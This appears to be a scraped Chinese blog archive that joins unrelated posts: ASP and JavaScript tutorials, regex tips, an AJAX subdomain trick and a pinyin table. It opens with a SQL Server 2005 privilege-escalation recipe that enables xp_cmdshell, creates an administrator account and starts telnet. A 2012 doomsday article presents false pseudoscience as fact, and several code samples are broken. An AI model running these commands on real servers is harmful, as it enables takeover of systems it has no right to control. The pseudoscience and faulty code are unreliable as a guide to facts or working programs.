SQL SERVER2005 提权

--打开xp_cmdshellexec sp_configure 'show advanced options', 1; RECONFIGURE; EXEC  sp_configure 'xp_cmdshell', 1; RECONFIGURE; use master;xp_cmdshell 'dir c:';go --添加windows用户:xp_cmdshell 'net user awen /add'; --设置好密码:xp_cmdshell 'net user awen password'; --提升到管理员:xp_cmdshell 'net localgroup administrators awen /add'; --开启telnet服务:xp_cmdshell 'net start tlntsvr'

导致2012世界末日的九种可能

前五种毁灭世界的灾难基本上都与太阳活动有关,除了外星智慧生物的入侵和小行星撞击地球以及核战争的爆发之外,世界末日的灾难主要是由于一系列原因所引发的地震和海啸。 2012年太阳活动频繁 第一种可能,太阳耀斑       每隔11年太阳运动都会达到一个最高峰,届时每天都会发生两到三次日冕物质抛射,到2012年底,太阳活动正好即将进入它的下一个最高峰。十亿吨的蒸气和磁场会从太阳内部喷射出来,并且速度高达每小时好几百万公里,就算你穿的是昂贵的航天服,这股极速的热流也很可能将你融化成液体蒸发掉。 有理论称磁极可能颠覆 第二种可能,磁极颠覆       日冕物质抛射出来的带电粒子猛烈冲击地球保护性磁场,导致地球磁场减弱甚至磁力为零。在磁层力恢复其力量时,南极和北极可能出现在任何位置,指南针有可能胡乱指示,其结果不仅仅导致人们在旅行时迷失方向,迁徙性动物经常会利用它们自己对地球磁场线的解读来进行导航,如果脱离了地球磁场的牵引,很多动物会一时间不知道自己身处何地,不知道自己应该在冬天来临时迁徙,最终走向灭亡。那些准备降落的飞机会突然发现自己的GPS失灵了,在紧要关头,GPS失灵可能会让人们付出生命的代价。 电影《2012世界末日》里的海啸 第三种可能,地震与海啸       太阳发射出的巨大电磁辐射很可能会引发强烈的地震。地壳中的金属会传导电磁,吸收当中的能量,使地壳变得不稳定。如果真是这样,2012年的太阳攻击将会在全世界陆陆续续引发地震,只要是断层里有大量金属的地方都难幸免。 这股全新的磁辐射很可能将打破原有的力量平衡,使板块发生错位,所以很可能会出现一场由磁场引发的强烈地震。只要不是发生在你脚底下,地震还算不得什么危险,可怕的是那些发生在深海之中地震所引起的海啸。海啸是人类所知的最具破坏力的力量之一,大洋海底会突然发生移动,例如海底的提升,可能只是一点点,可能只是3,4厘米,但这个过程会排开大量的海水,但别急着退订你的游轮旅行,事实上海啸发生时待在海上反而更安全,在巨大的海浪冲向海岸之前,海平面会变得很低,然后巨浪会突然升起。它会从海岸线吸走海水,形成一个遮天蔽日威力惊人的大海浪,想象一下,一天,你坐在海滩上享受着碧海蓝天,心情舒畅,然后你朝海岸望去突然发现大海正在迅速地后退,甚至比你奔跑的速度更快,它向后退了好几公里,又退了好几公里,如果看到这样的景象,这很可能将成为你这辈子见到的最后一幕,因为那就意味着海啸要来了。 黄石火山爆发 第四种可能,火山爆发       有理论称,在2012年时,可能会有一股非常强烈的太阳能量注入地球,它成为促使蓄势待发的黄石国家公园火山或是其它进入红色警戒状态的超级火山爆发的最后一击。如果黄石火山爆发其威力将立即毁灭周围一切,喷出的熔岩朝着各个方向流去,蔓延数十公里,并摧毁沿路的一切。最可怕的是风会把这些火山灰和毒气云吹到世界各地,届时窜大气将充满大量火山灰,中午时分太阳也会被遮蔽,这就是我们称为核冬天的现象,寒冷和饥饿将杀死一切生命。 板块断裂 第五种可能,板块断裂       如果地球大陆的平衡受到巨大冲击,地球上的所有地面可能会突然绕着地球的核心旋转,这个说法来自一个名叫查尔斯哈普古的人,他认为地球将会而且已经出现过好几次这样的重组。地壳底下有一层厚厚的地幔叫做软流层,那里的岩石柔软可塑,通常,当地壳的两个部分之间发生相互摩擦时就会产生地震。但是根据哈普古的理论,地表的极度不平衡可能会导致整块地壳立刻滑入软流层中,哈普古认为地壳完全脱离地幔,进行独立旋转是有可能的。地球并非完美的圆形,而是赤道部分略鼓,想象一下,有一个点在北极,还有一点在赤道,在赤道的那个点的旋转速度更快,所以它的角动量会更高,曾经坐过旋转木马的人都知道,你会紧紧抓住它以免被甩出去,事实上所有的旋转物体,包括地球磁场受到的都是同样的力量,那股力量会将物质拉向赤道,所以地球的中间会略略鼓起。地球并不是一个完美的圆形,而且包裹它的地壳相当坚固,那片穿过赤道的区域现在突然需要被延伸,很可能大地会开始开裂,当越陷越深被强力拉伸时,强烈的地震和巨大的地裂会周期性出现。  2012年12月21日,太阳、地球以及银河系的中心排成一线 第六种可能,天体一线切断宇宙能量来源       有人说,2012年冬至日,太阳正巧遮蔽银河系的中央,那一刻起,地球的宇宙能量来源将被切断。那是从被称为“银河系的心脏”的黑洞所释放出的赐予生命的能量,如果失去了这种能量,地球上的重力将会消失,人类将会被月球的引力加速吸入太空,体内的大气压会直接把人体胀破。 外星人的科学技术水平非人类能想象 第七种可能,外星智慧生物入侵       很多人认为这个挺荒谬的,其实事实并非如此,科学家已经证明了银河系中存在其它生命的可能性,也就是说银河系中的其它智慧生物可能不止一种,其中或许有一些智慧生物智商比人类高出好几百倍,它们的科学技术人类简直无法想象。如果2012的灾难不仅仅只是发生在太阳系,银河系内其它智慧生物在失去自己星球的同时必然会去寻找一个适合它们居住的新天体,如果不幸看上了地球,一场星球争夺大战即将爆发! 核武器爆炸时高耸入云的“蘑菇云” 第八种可能,核战争爆发       大家或许已经意识到目前国际关系随时都可能紧张,就连“Google退出中国市场”事件都牵扯到了政治关系。现代核武器的威力到底有多大?据专家介绍,核武器爆炸时,几公里内的建筑都会变成一片火海,在没有很好的躲避设施环境下强烈的核辐射会给十几公里内的人造成可怕的创伤甚至死亡。爆炸后大火会燃烧大量的物体产生一层厚厚的烟云,浓浓的黑烟会吸收阳光让空气温度上升到50至100摄氏度,很多生命都会被活活烤死。核武器爆炸产生的化学物质会进一步破坏臭氧层,如果没有了臭氧层,人体将暴露在强烈的太阳紫外线辐射下,皮肤会溃烂出血。如果2012年核战争真的爆发,那将是多么的可怕。 小行星把地球撞出运行轨道 第九种可能,X行星撞击地球       地球周围时刻充满着各种巨型漂浮物在游荡着寻找东西撞,不幸的地球很可能死于2012年一场可怕的宇宙交通事故,它将与银河系中的另一颗急速飞行的行星发生灾难性的撞击——一颗被称为X行星的神秘末日导弹。X行星是一颗穿行于太阳系外部区域的假象行星,这套理论基本上就是说,当这颗X行星穿过内太阳系时。它的引力不仅对地球还将对太阳造成一定的影响,它可能导致太阳发射出某些足以毁灭星球的太阳耀斑。                 

常用的匹配正则表达式和实例

匹配中文字符的正则表达式: [\u4e00-\u9fa5] 匹配双字节字符(包括汉字在内):[^\x00-\xff] 应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1) String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;} 匹配空行的正则表达式:\n[\s| ]*\r 匹配HTML标记的正则表达式:/<(.*)>.*<\/\1>|<(.*) \/>/ 匹配首尾空格的正则表达式:(^\s*)|(\s*$) 应用:javascript中没有像vbscript那样的trim函数,我们就可以利用这个表达式来实现,如下: String.prototype.trim = function(){return this.replace(/(^\s*)|(\s*$)/g, "");} 利用正则表达式分解和转换IP地址: 下面是利用正则表达式匹配IP地址,并将IP地址转换成对应数值的Javascript程序: function IP2V(ip){re=/(\d+)\.(\d+)\.(\d+)\.(\d+)/g //匹配IP地址的正则表达式if(re.test(ip)){return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1}else{throw new Error("Not a valid IP address!")}} 不过上面的程序如果不用正则表达式,而直接用split函数来分解可能更简单,程序如下: var ip="10.100.20.168"ip=ip.split(".")alert("IP值是:"+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1)) 匹配Email地址的正则表达式:\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* 匹配网址URL的正则表达式:http://([\w-]+\.)+[\w-]+(/[\w– ./?%&=]*)? 利用正则表达式去除字串中重复的字符的算法程序:[注:此程序不正确,原因见本贴回复] var s="abacabefgeeii"var s1=s.replace(/(.).*\1/g,"$1")var re=new RegExp("["+s1+"]","g")var s2=s.replace(re,"") alert(s1+s2) //结果为:abcefgi 我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法,最终没有找到,这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符,再以重复的字符建立第二个表达式,取到不重复的字符,两者串连。这个方法对于字符顺序有要求的字符串可能不适用。 得用正则表达式从URL地址中提取文件名的javascript程序,如下结果为page1 s="http://www.9499.net/page1.htm"s=s.replace(/(.*\/){0,}([^\.]+).*/ig,"$2")alert(s) 利用正则表达式限制网页表单里的文本框输入内容: 用正则表达式限制只能输入中文:onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,")" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,"))" 用正则表达式限制只能输入全角字符: onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,")" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,"))" 用正则表达式限制只能输入数字:onkeyup="value=value.replace(/[^\d]/g,") "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,"))" 用正则表达式限制只能输入数字和英文:onkeyup="value=value.replace(/[\W]/g,") "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,"))"

asp数组使用

在ASP编程中使用数组 数组的定义Dim MyArrayMyArray = Array(1,5,123,12,98) 可扩展数组Dim MyArray()for i = 0 to 10ReDim Preserve MyArray(i)MyArray(i)=inext 将一个字符串分割并返回分割结果的数组Dim MyArrayMyArray = Split(tempcnt,chr(13)&chr(10))For I = Lbound(MyArray) to Ubound(MyArray) Response.Write MyArray(I) & "<br>"Next 数组排序函数function..Sort(ary) KeepChecking = TRUE Do Until KeepChecking = FALSE KeepChecking = FALSE For I = 0 to UBound(ary) If I = UBound(ary) Then Exit For If ary(I) > ary(I+1) Then FirstValue = ary(I) SecondValue = ary(I+1) ary(I) = SecondValue ary(I+1) = FirstValue KeepChecking = TRUE End If Next Loop Sort = ary End function.. 数组排序函数应用例子Dim MyArray MyArray = Array(1,5,123,12,98)MyArray = Sort(MyArray) For I = Lbound(MyArray) to Ubound(MyArray) Response.Write MyArray(I) & "<br>"Next 在Application和Session中使用数组Application.LockApplication("StoredArray") = MyArrayApplication.Unlock LocalArray = Application("StoredArray") 覆盖Application中的数组Application.LockApplication("StoredArray") = LocalArrayApplication.Unlock Session使用方法与Application相同 从数据库中把数据导入数组中Dim MyArray取出全部记录MyArray = RS.GetRows取出前10项记录MyArray = RS.GetRows(10) For row = 0 To UBound(MyArray, 2)For col = 0 To UBound(MyArray, 1)Response.Write (col, row) & "<br>"NextNext   回复——————————————————————————-- .2. 有效的在asp中利用数组admin(2006-3-22 7:57:28) IP:一个数组是一个基本的数据结构,它是由跟随若干数字的变量组成,代替了声明10个变量来代表10个值的过程,你可以声明一个数组,并且把10个元素存入到这个数组中。 就像声明其他变量一样,数组需要与其大小相同大的内存,因此他们非常高效。在数组中为了获得一个特殊的变量,你需要参考它的索引。一个数组中正确的索引值是从0到(下标-1),如果一个数组的大小是10,我们可以从0到9来索引元素。数组不是复杂的结构,记住,你可以像应用其他变量一样来应用数组中的变量,规则是一样的。 现在让我们看看如何定义一个数组,如何动态的更改数组的大小,一些有用的asp数组函数,在数组中如何查找元素和我们怎样在页面和页面之间传递数组。 ……………………………………… 定义一个简单的数组 有两种方法在asp中定义数组,让我们看看每种的例子: 方法一:MyArray = Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct", "Nov","Dec") 方法二:Dim myArray(2) myArray(0)="Jan"myArray(1)="Feb" 在方法一中,我们用一行定义整个数组,这种方法在数组中有特殊的用途,如上面那样只存储一年中的12个月。在方法二中,我们在多行中用单独的元素定义值,如果你想从纪录中将不同的值存入数组元素中,或者在一个循环中定义每一个元素的值,就要用到这种方法,例如:Dim myArray(20)Dim I For I=0 to 20Myarray(I)="This is message " & INext ……………………………………………………………………………………. 动态改变数组的大小 现在让我们看看动态改变数组的大小。为什么你要做这个?举例说如果你不知道一个查询中有多少项目,但是你又想把这些数据存入到数组中,这时你将不能用上面的方法,除非你获得了数据的总数然后声明数组。为了避免这些,我们看看其中的方法: DIM myArray()Dim I REDIM myArray(20) '将数组重新定义为20维 For I=0 to 20MyArray(I)="This is item " & INext 在上面的例子中,声明数组没有包含任何的数字项目,它的作用是告诉asp有一个数组被声明了,然后我们用REDIM语句来重新定义数组有20维,并且向其中存入数据。 ……………………………………………………………………………………. 有用的数组函数 Ubound(arrayName)函数 这个函数是返回数组的下标,也就是数组最后一个元素的标记。 Dim myArray(10)Dim I For I=0 to 10MyArray(I)="Item " & INextResponse.write "ubound(myArray) = " & ubound(myArray) Lbound(arrayName)函数 这个函数是返回数组的上标,也就是数组第一个元素的标记。可以用上面的例子进行试验,不过不要忘了把Ubound换成Lbound哟! Split(string, splitby)函数 这个函数返回基于0的一维数组,其中包含指定数目的子字符串。这里有两个参数,string是一个字符串,sqlitby是分隔符,让我们看一个例子来理解这个函数的功能: Dim myStringDim myArrayDim I MyString = "a,b,c,d"MyArray = split(MyString,",") For I=0 to Ubound(MyArray)Response.write MyArray(I) & "<br>"Next 这个例子的意思是:将字符串"a,b,c,d"转换成一个有四个元素一维数组,其中字符串中的","是分隔符。最后我们用循环将这个数组显示出来。如果大家觉得不容易懂,可以自己上机调试一下就明白了,其实很简单。 ……………………………………………………………………………………. 在数组中查找元素这有一个函数,它能返回数组中的元素索引。这个索引是数组元素的基本位置,如:0代表myArray(0)。 function findArray(arrName,srcStr)dim Idim pint,cnt cnt=0 for i=0 to ubound(arrName)if cnt=0 thenif srcStr=arrName(i) thenpint=icnt=1end ifend ifnextfindArray=pint+1end function 现在我们来用一用这个函数: Dim myArray(20)Dim k For k=0 to 20MyArray(k)="Item " & kNext Response.write findArray(myArray,"Item 8") & "<p>"Response.write myArray(findArray(myArray,"Item 8")) 赶紧在本机上调试一下,看看这个函数的功能。 ……………………………………………………………………………………. 向另一个页面传递数组 现在有很多种方法向另一页面传递数组,目前有三种方法: 定义一个又逗号分隔的字符串,然后再下一页中用Split函数重新建立数组。将数组存储在一个Session变量中,然后在下一个页面中调用。通过表单的隐含区域来传递数组,他们都是自动用逗号分开,然后再用Split函数重新建立数组。 前两种方法很好,但是都比第三中复杂。在这里我们将只介绍第三种,因为它是最简单最有效的。 1.asp:<%dim Idim myArray(20) for I=0 to 20myArray(I)="Item " & Inext%><html><body><form name="testform" method="post" action="2.asp"><%for I=0 to ubound(myArray)response.write "<input type=hidden name=myArray value=’" & myArray(I) & "'>"next%><p><input type="submit"></form></body></html> 以上我们做的是在一个表单中用单独的隐含域存储数组中的每个元素,我们再看看下一页: 2.asp<html><body><%dim arrStringdim myArraydim I arrString=request("myArray")myArray = split(arrString,",") for I=0 to ubound(myArray) response.write "Item "&I&" = " & myArray(I) & "<br>" & vbCrLfnext%></body></html> 调试了吗?怎么样,简单吧!数组就这么传递过去了。好了,通过以上的讲解,我想初学者一定对asp中的数组有了一定的了解,当然这里将的都只是最基本的,其实数组的功能远远不只这些,如果大家肯钻研,它能使在asp的程序运行效率大大提高。

挣脱浏览器的束缚 – Ajax权限问题

  标题有些唬人的成分,因为这里跨的只是子域名。   事情的经过是这样的,还是那个个人门户网站。其中有个功能就是RSS订阅,每个订阅作为一个模块出现在页面上。如果一个用户订阅了比较多的RSS,则在打开页面时所有的RSS模块就会开始加载,这时候可能就会需要十几秒甚至更长的时间才能加载完毕。这时,如果用户需要作别的AJAX操作——比如保存页面设置——那么长时间的等待就不可避免了,谁让浏览器对于相同域名只能同时存在两个连接呢?不过这可不是一个好的用户体验,那么我们需要怎么做呢?   第一种做法可能比较容易想到,我们可以自己编写代码维护一个Priority Queue,为每个请求附加一个“优先级”信息,这样我们就可以把重要的请求率先发出。这样就可以在一定程度上解决用户的等待问题。可惜这个方法还是无法突破两个连接的限制。于是第二种做法,我们就要设法突破两个连接的限制了。如果能够向别的域名发出AJAX请求,不也就能避免重要的请求被大量的请求所阻塞了吗?   我们还是从头看起,一点一点地来解决这个问题。 传统的跨域名异步请求解决方案   AJAX安全性的唯一保证,似乎就是对于跨域名(Cross-Domain)AJAX请求的限制。除非打开本地硬盘的网页,或者在IE中将跨域名传输数据的限制打开,否则向其他域名发出AJAX请求都会被禁止。而且对于跨域名的判断非常严格,不同的子域名,或者相同域名的不同端口,都会被认作是不同的域名,我们不能向它们的资源发出AJAX请求。   从表面上看起来似乎没有办法打破这个限制,还好我们有个救星,那就是iframe!   iframe虽然不在标准中出现,但是由于它实在有用,FireFox也“不得不”对它进行了支持(类似的还有innerHTML)。网上已经有一些跨域名发出异步请求的做法,但是它们实在做的不好。它们的简单工作原理如下:在另一个域名下放置一个特定的页面文件作为Proxy,主页面将异步请求的信息通过Query String传递入iframe里的Proxy页面,Proxy页面在AJAX请求执行完毕后将结果放在自己location的hash中,而主页面会对iframe的src的hash值进行轮询,一旦发现它出现了改变,则通过hash值得到需要的信息。   这个方法的实现比较复杂,而且功能有限。在IE和FireFox中,对于URL的长度大约可以支持2000个左右的字符。对于普通的需求它可能已经足够了,可惜如果真要传递大量的数据,这就远远不够了。与我们一会儿要提出的解决方案相比,可能它唯一的优势就是能够跨任意域名进行异步请求,而我们的解决方案只能突破子域名的限制。   那么现在来看看我们的做法!   优雅地突破子域名的限制   我们突破子域名限制的关键还是在于iframe。   iframe是的好东西,我们能够跨过子域名来访问iframe里的页面对象,例如window和DOM结构,包括调用JavaScript(通过window对象)——我们将内外页面的document.domain设为相同就可以了。然后在不同子域名的页面发起不同的请求,把结果通过JavaScript进行传递即可。唯一需要的也仅仅是一个简单的静态页面作为Proxy而已。   我们现在就来开始编写一个原形,虽然简单,但是可以说明问题。   首先,我们先来编写一个静态页面,作为放在iframe里的Proxy,如下:   Copy code<html xmlns="http://www.w3.org/1999/xhtml" ><head>  <title>Untitled Page</title>  <script type="text/javascript" language="javascript">    document.domain = "test.com";        function sendRequest(method, url)    {        var request = new XMLHttpRequest();        request.open(method, url);        request.send(null);    }  </script></head><body> </body></html>   然后我们再编写我们的主页面: Copy code <html xmlns="http://www.w3.org/1999/xhtml" ><head runat="server">  <title>Untitled Page</title>  <script type="text/javascript" language="javascript">    document.domain = "test.com";      function simpleRequest()    {        var request = new XMLHttpRequest();        request.open("POST", "Script.ashx");        request.send(null);    }        function crossSubDomainRequest()    {        var proxy = document.getElementById("iframeProxy").contentWindow;        proxy.sendRequest('POST', 'http://sub0.test.com/Script.ashx');    }        function threeRequests()    {        simpleRequest();        simpleRequest();        crossSubDomainRequest();    }  </script></head><body>  <input type="button" value="Request" onclick="threeRequests()" />  <iframe src="http://sub0.w3cnet.com/SubDomainProxy.html" style="display:none;"     id="iframeProxy"></iframe></body></html>   当执行threeRequests方法时,将会同时请求http://www.w3cnet.com以及http://sub0.w3cnet.com两个不同域名下的资源。令人满意的结果!

asp函数详解

Array()  FUNCTION: 返回一个数组  SYNTAX: Array(list)  ARGUMENTS: 字符,数字均可  EXAMPLE: <%  Dim myArray()  For i = 1 to 7  Redim Preserve myArray(i)  myArray(i) = WeekdayName(i)  Next  %>  RESULT: 建立了一个包含7个元素的数组myArray  myArray("Sunday","Monday", … … "Saturday") CInt()  FUNCTION: 将一个表达式转化为数字类型  SYNTAX: CInt(expression)  ARGUMENTS: 任何有效的字符均可  EXAMPLE: <%  f = "234"  response.write cINT(f) + 2  %>  RESULT: 236  转化字符"234"为数字"234",如果字符串为空,则返回0值 CreateObject()  FUNCTION: 建立和返回一个已注册的ACTIVEX组件的实例。  SYNTAX: CreateObject(objName)  ARGUMENTS: objName 是任何一个有效、已注册的ACTIVEX组件的名字.  EXAMPLE: <%  Set con = Server.CreateObject("ADODB.Connection")  %>  RESULT: CStr()  FUNCTION: 转化一个表达式为字符串.  SYNTAX: CStr(expression)  ARGUMENTS: expression 是任何有效的表达式。  EXAMPLE: <%  s = 3 + 2  response.write "The result is: " & cStr(s)  %>  RESULT: 转化数字“5”为字符“5”。 Date()  FUNCTION: 返回当前系统日期.  SYNTAX: Date()  ARGUMENTS: None.  EXAMPLE: <%=Date%>  RESULT: 8/4/99 DateAdd()  FUNCTION: 返回一个被改变了的日期。  SYNTAX: DateAdd(timeinterval,number,date)  ARGUMENTS: timeinterval is the time interval to add; number is amount of time intervals to add; and date is the starting date.  EXAMPLE: <%  currentDate = #8/4/99#  newDate = DateAdd("m",3,currentDate)  response.write newDate  %>   <%  currentDate = #12:34:45 PM#  newDate = DateAdd("h",3,currentDate)  response.write newDate  %>  RESULT: 11/4/99  3:34:45 PM   "m" = "month";  "d" = "day";   If currentDate is in time format then,  "h" = "hour";  "s" = "second"; DateDiff()  FUNCTION: 返回两个日期之间的差值 。  SYNTAX: DateDiff(timeinterval,date1,date2 [, firstdayofweek [, firstweekofyear>>)  ARGUMENTS: timeinterval 表示相隔时间的类型,如“M“表示“月”。  EXAMPLE: <%  fromDate = #8/4/99#  toDate = #1/1/2000#  response.write "There are " & _  DateDiff("d",fromDate,toDate) & _  " days to millenium from 8/4/99."  %>  RESULT: 从8/4/99 到2000年还有 150 天. Day()  FUNCTION: 返回一个月的第几日 .  SYNTAX: Day(date)  ARGUMENTS: date 是任何有效的日期。  EXAMPLE: <%=Day(#8/4/99#)%>  RESULT: 4 FormatCurrency()  FUNCTION: 返回表达式,此表达式已被格式化为货币值  SYNTAX: FormatCurrency(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit>>>>)  ARGUMENTS: Digit 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置;   LeadingDigit 三态常数,指示是否显示小数值小数点前面的零。  EXAMPLE: <%=FormatCurrency(34.3456)%>  RESULT: $34.35 FormatDateTime()  FUNCTION: 返回表达式,此表达式已被格式化为日期或时间  SYNTAX: FormatDateTime(Date, [, NamedFormat>)  ARGUMENTS: NamedFormat 指示所使用的日期/时间格式的数值,如果省略,则使用 vbGeneralDate.  EXAMPLE: <%=FormatDateTime("08/4/99", vbLongDate)%>  RESULT: Wednesday, August 04, 1999 FormatNumber()  FUNCTION: 返回表达式,此表达式已被格式化为数值.  SYNTAX: FormatNumber(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit>>>>)  ARGUMENTS: Digit 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置。; LeadingDigit i指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置。; Paren 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置。; GroupDigit i指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是计算机的区域设置。.  EXAMPLE: <%=FormatNumber(45.324567, 3)%>  RESULT: 45.325 FormatPercent()  FUNCTION: 返回表达式,此表达式已被格式化为尾随有 % 符号的百分比(乘以 100 )。 (%)  SYNTAX: FormatPercent(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit>>>>)  ARGUMENTS: 同上.  EXAMPLE: <%=FormatPercent(0.45267, 3)%>  RESULT: 45.267% Hour()  FUNCTION: 以24时返回小时数.  SYNTAX: Hour(time)  ARGUMENTS:  EXAMPLE: <%=Hour(#4:45:34 PM#)%>  RESULT: 16  (Hour has been converted to 24-hour system) Instr()  FUNCTION: 返回字符或字符串在另一个字符串中第一次出现的位置.  SYNTAX: Instr([start, > strToBeSearched, strSearchFor [, compare>)  ARGUMENTS: Start为搜索的起始值,strToBeSearched接受搜索的字符串 strSearchFor要搜索的字符compare 比较方式(详细见ASP常数)  EXAMPLE: <%  strText = "This is a test!!"  pos = Instr(strText, "a")  response.write pos  %>  RESULT: 9 InstrRev()  FUNCTION: 同上,只是从字符串的最后一个搜索起  SYNTAX: InstrRev([start, > strToBeSearched, strSearchFor [, compare>)  ARGUMENTS: 同上.  EXAMPLE: <%  strText = "This is a test!!"  pos = InstrRev(strText, "s")  response.write pos  %>  RESULT: 13 Int()  FUNCTION: 返回数值类型,不四舍五入。  SYNTAX: Int(number)  ARGUMENTS:  EXAMPLE: <%=INT(32.89)%>  RESULT: 32 IsArray()  FUNCTION: 判断一对象是否为数组,返回布尔值 .  SYNTAX: IsArray(name)  ARGUMENTS:  EXAMPLE: <%  strTest = "Test!"  response.write IsArray(strTest)  %>  RESULT: False IsDate()  FUNCTION: 判断一对象是否为日期,返回布尔值  SYNTAX: IsDate(expression)  ARGUMENTS: expression is any valid expression.  EXAMPLE: <%  strTest = "8/4/99"  response.write IsDate(strTest)  %>  RESULT: True IsEmpty()  FUNCTION: 判断一对象是否初始化,返回布尔值.  SYNTAX: IsEmpty(expression)  ARGUMENTS:  EXAMPLE: <%  Dim i  response.write IsEmpty(i)  %>  RESULT: True IsNull()  FUNCTION: 判断一对象是否为空,返回布尔值.  SYNTAX: IsNull(expression)  ARGUMENTS:  EXAMPLE: <%  Dim i  response.write IsNull(i)  %>  RESULT: False  IsNumeric()  FUNCTION: 判断一对象是否为数字,返回布尔值.  SYNTAX: IsNumeric(expression)  ARGUMENTS:  EXAMPLE: <%  i = "345"  response.write IsNumeric(i)  %>  RESULT: True  就算数字加了引号,ASP还是认为它是数字。 IsObject()  FUNCTION: 判断一对象是否为对象,返回布尔值.  SYNTAX: IsObject(expression)  ARGUMENTS:  EXAMPLE: <%  Set con = Server.CreateObject("ADODB.Connection")  response.write IsObject(con)  %>  RESULT: True LBound()  FUNCTION: 返回指定数组维的最小可用下标.  SYNTAX: Lbound(arrayname [, dimension>)  ARGUMENTS: dimension 指明要返回哪一维下界的整数。使用 1 表示第一维,2 表示第二维,以此类  推。如果省略 dimension 参数,默认值为 1.  EXAMPLE: <%  i = Array("Monday","Tuesday","Wednesday")  response.write LBound(i)  %>  RESULT: 0 LCase()  FUNCTION: 返回字符串的小写形式  SYNTAX: Lcase(string)  ARGUMENTS: string is any valid string expression.  EXAMPLE: <%  strTest = "This is a test!"  response.write LCase(strTest)  %>  RESULT: this is a test! Left()  FUNCTION: 返回字符串左边第length个字符以前的字符(含第length个字符).  SYNTAX: Left(string, length)  ARGUMENTS:  EXAMPLE: <%  strTest = "This is a test!"  response.write Left(strTest, 3)  %>  RESULT: Thi Len()  FUNCTION: 返回字符串的长度.  SYNTAX: Len(string | varName)  ARGUMENTS:  EXAMPLE: <%  strTest = "This is a test!"  response.write Len(strTest)  %>  RESULT: 15 LTrim()  FUNCTION: 去掉字符串左边的空格.  SYNTAX: LTrim(string)  ARGUMENTS:  EXAMPLE: <%  strTest = " This is a test!"  response.write LTrim(strTest)  %>  RESULT: This is a test! Mid()  FUNCTION: 返回特定长度的字符串(从start开始,长度为length).  SYNTAX: Mid(string, start [, length>)  ARGUMENTS:  EXAMPLE: <%  strTest = "This is a test! Today is Monday."  response.write Mid(strTest, 17, 5)  %>  RESULT: Today Minute()  FUNCTION: 返回时间的分钏.  SYNTAX: Minute(time)  ARGUMENTS:  EXAMPLE: <%=Minute(#12:45:32 PM#)%>  RESULT: 45 Month()  FUNCTION: 返回日期.  SYNTAX: Month(date)  ARGUMENTS: date is any valid date expression.  EXAMPLE: <%=Month(#08/04/99#)%>  RESULT: 8 MonthName()  FUNCTION: Returns a string identifying the specified month.  SYNTAX: MonthName(month, [, Abb>)  ARGUMENTS: month is the numeric representation for a given month; Abb (optional) is a boolean value used to display month abbreviation. True will display the abbreviated month name and False […]

asp汉字转化为拼音

很多问题都是因为中文问题造成的 如文件名最好别用中文 现在的解决方法一般是产生一个ID,将这个ID做文件名 网页上如果url带汉字也经常出错 现在的解决方法一般用urlencode编码 现在用了这个转化,就好多了 原理,使用Dictionary技术1.添加索引2.遍历词典 <%Set d = CreateObject("Scripting.Dictionary")d.add "a",-20319d.add "ai",-20317d.add "an",-20304d.add "ang",-20295d.add "ao",-20292d.add "ba",-20283d.add "bai",-20265d.add "ban",-20257d.add "bang",-20242d.add "bao",-20230d.add "bei",-20051d.add "ben",-20036d.add "beng",-20032d.add "bi",-20026d.add "bian",-20002d.add "biao",-19990d.add "bie",-19986d.add "bin",-19982d.add "bing",-19976d.add "bo",-19805d.add "bu",-19784d.add "ca",-19775d.add "cai",-19774d.add "can",-19763d.add "cang",-19756d.add "cao",-19751d.add "ce",-19746d.add "ceng",-19741d.add "cha",-19739d.add "chai",-19728d.add "chan",-19725d.add "chang",-19715d.add "chao",-19540d.add "che",-19531d.add "chen",-19525d.add "cheng",-19515d.add "chi",-19500d.add "chong",-19484d.add "chou",-19479d.add "chu",-19467d.add "chuai",-19289d.add "chuan",-19288d.add "chuang",-19281d.add "chui",-19275d.add "chun",-19270d.add "chuo",-19263d.add "ci",-19261d.add "cong",-19249d.add "cou",-19243d.add "cu",-19242d.add "cuan",-19238d.add "cui",-19235d.add "cun",-19227d.add "cuo",-19224d.add "da",-19218d.add "dai",-19212d.add "dan",-19038d.add "dang",-19023d.add "dao",-19018d.add "de",-19006d.add "deng",-19003d.add "di",-18996d.add "dian",-18977d.add "diao",-18961d.add "die",-18952d.add "ding",-18783d.add "diu",-18774d.add "dong",-18773d.add "dou",-18763d.add "du",-18756d.add "duan",-18741d.add "dui",-18735d.add "dun",-18731d.add "duo",-18722d.add "e",-18710d.add "en",-18697d.add "er",-18696d.add "fa",-18526d.add "fan",-18518d.add "fang",-18501d.add "fei",-18490d.add "fen",-18478d.add "feng",-18463d.add "fo",-18448d.add "fou",-18447d.add "fu",-18446d.add "ga",-18239d.add "gai",-18237d.add "gan",-18231d.add "gang",-18220d.add "gao",-18211d.add "ge",-18201d.add "gei",-18184d.add "gen",-18183d.add "geng",-18181d.add "gong",-18012d.add "gou",-17997d.add "gu",-17988d.add "gua",-17970d.add "guai",-17964d.add "guan",-17961d.add "guang",-17950d.add "gui",-17947d.add "gun",-17931d.add "guo",-17928d.add "ha",-17922d.add "hai",-17759d.add "han",-17752d.add "hang",-17733d.add "hao",-17730d.add 